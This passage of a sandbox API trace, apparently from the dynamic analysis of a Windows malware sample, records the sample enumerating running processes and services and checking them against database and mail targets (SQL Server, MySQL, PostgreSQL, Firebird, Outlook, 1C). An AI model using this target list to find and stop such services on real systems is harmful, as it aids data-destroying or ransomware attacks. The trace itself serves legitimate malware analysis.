(in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0133.063] lstrlenW (lpString="System") returned 6 [0133.063] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0133.063] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0133.063] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0133.063] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0133.063] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0133.063] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0133.063] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0133.063] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0133.063] lstrlenW (lpString="smss.exe") returned 8 [0133.063] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0133.063] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0133.063] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0133.064] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0133.064] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0133.064] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0133.064] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0133.064] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.064] lstrlenW (lpString="csrss.exe") returned 9 [0133.064] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0133.064] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0133.064] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0133.064] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0133.064] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0133.064] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0133.064] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0133.064] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0133.064] lstrlenW (lpString="wininit.exe") returned 11 [0133.064] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0133.064] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0133.065] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0133.065] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0133.065] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0133.065] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0133.065] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0133.065] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.065] lstrlenW (lpString="csrss.exe") returned 9 [0133.065] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0133.065] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0133.065] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0133.065] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0133.065] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0133.065] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0133.065] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0133.065] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0133.065] lstrlenW (lpString="winlogon.exe") returned 12 [0133.065] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0133.066] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0133.066] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0133.066] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0133.066] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0133.066] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0133.066] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0133.066] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0133.066] lstrlenW (lpString="services.exe") returned 12 [0133.066] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0133.066] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0133.066] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0133.066] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0133.066] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0133.066] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0133.066] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0133.066] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0133.067] lstrlenW (lpString="lsass.exe") returned 9 [0133.067] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0133.067] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0133.067] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0133.067] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0133.067] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0133.067] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0133.067] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0133.067] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0133.067] lstrlenW (lpString="lsm.exe") returned 7 [0133.067] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0133.068] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0133.068] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0133.068] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0133.068] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0133.068] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0133.068] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0133.068] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.068] lstrlenW (lpString="svchost.exe") returned 11 [0133.068] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.068] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.068] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.068] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0133.068] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0133.068] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0133.068] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0133.068] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.069] lstrlenW (lpString="svchost.exe") returned 11 [0133.069] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.069] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.069] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0133.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0133.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0133.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0133.069] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.069] lstrlenW (lpString="svchost.exe") returned 11 [0133.069] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.069] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.069] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0133.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0133.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0133.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0133.069] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.070] lstrlenW (lpString="svchost.exe") returned 11 [0133.070] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.070] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.070] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0133.070] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0133.070] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0133.070] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0133.070] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.070] lstrlenW (lpString="svchost.exe") returned 11 [0133.070] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.070] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.070] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0133.070] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0133.070] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0133.070] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0133.070] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0133.071] lstrlenW (lpString="audiodg.exe") returned 11 [0133.071] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0133.071] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0133.071] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0133.071] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0133.071] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0133.071] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0133.071] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0133.071] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.071] lstrlenW (lpString="svchost.exe") returned 11 [0133.071] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.071] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.071] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.072] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0133.072] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0133.072] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0133.072] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0133.072] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0133.072] lstrlenW (lpString="userinit.exe") returned 12 [0133.072] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0133.072] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0133.072] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0133.072] lstrlenW (lpString="explorer.exe") returned 12 [0133.073] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0133.073] lstrlenW (lpString="dwm.exe") returned 7 [0133.073] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.073] lstrlenW (lpString="svchost.exe") returned 11 [0133.073] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0133.074] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0133.074] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0133.074] lstrlenW (lpString="spoolsv.exe") returned 11 [0133.074] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0133.074] lstrlenW (lpString="dllhost.exe") returned 11 [0133.074] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0133.075] lstrlenW (lpString="reader_sl.exe") returned 13 [0133.075] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.075] lstrlenW (lpString="svchost.exe") returned 11 [0133.075] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0133.075] lstrlenW (lpString="taskhost.exe") returned 12 [0133.075] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0133.076] CloseHandle (hObject=0x36c) returned 1 [0133.076] Sleep (dwMilliseconds=0x1f4) [0133.605] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293df8 [0133.608] EnumServicesStatusExW (in: hSCManager=0x4293df8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0133.609] GetLastError () returned 0xea [0133.609] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc9a) returned 0x428b3d0 [0133.609] EnumServicesStatusExW (in: hSCManager=0x4293df8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428b3d0, cbBufSize=0xc9a, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428b3d0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0133.609] CloseServiceHandle (hSCObject=0x4293df8) returned 1 [0133.609] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0133.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.609] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0133.609] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0133.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0133.610] lstrlenW (lpString="AudioSrv") returned 8 [0133.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0133.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0133.610] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0133.610] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0133.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0133.610] lstrlenW (lpString="BFE") returned 3 [0133.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0133.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0133.610] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0133.610] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0133.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0133.610] lstrlenW (lpString="CryptSvc") returned 8 [0133.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0133.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0133.610] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0133.610] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0133.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0133.610] lstrlenW (lpString="CscService") returned 10 [0133.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0133.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0133.610] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0133.610] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0133.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0133.610] lstrlenW (lpString="DcomLaunch") returned 10 [0133.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.610] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0133.610] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0133.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0133.610] lstrlenW (lpString="Dhcp") returned 4 [0133.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0133.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0133.610] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0133.610] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0133.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0133.611] lstrlenW (lpString="Dnscache") returned 8 [0133.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0133.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0133.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0133.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0133.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0133.611] lstrlenW (lpString="DPS") returned 3 [0133.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0133.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0133.611] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0133.611] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0133.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0133.611] lstrlenW (lpString="eventlog") returned 8 [0133.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0133.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0133.611] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0133.611] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0133.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0133.611] lstrlenW (lpString="EventSystem") returned 11 [0133.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0133.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0133.611] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0133.611] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0133.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0133.611] lstrlenW (lpString="gpsvc") returned 5 [0133.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0133.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0133.611] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0133.611] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0133.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0133.611] lstrlenW (lpString="LanmanWorkstation") returned 17 [0133.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.611] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0133.612] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0133.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0133.612] lstrlenW (lpString="lmhosts") returned 7 [0133.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0133.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0133.612] lstrcmpiW 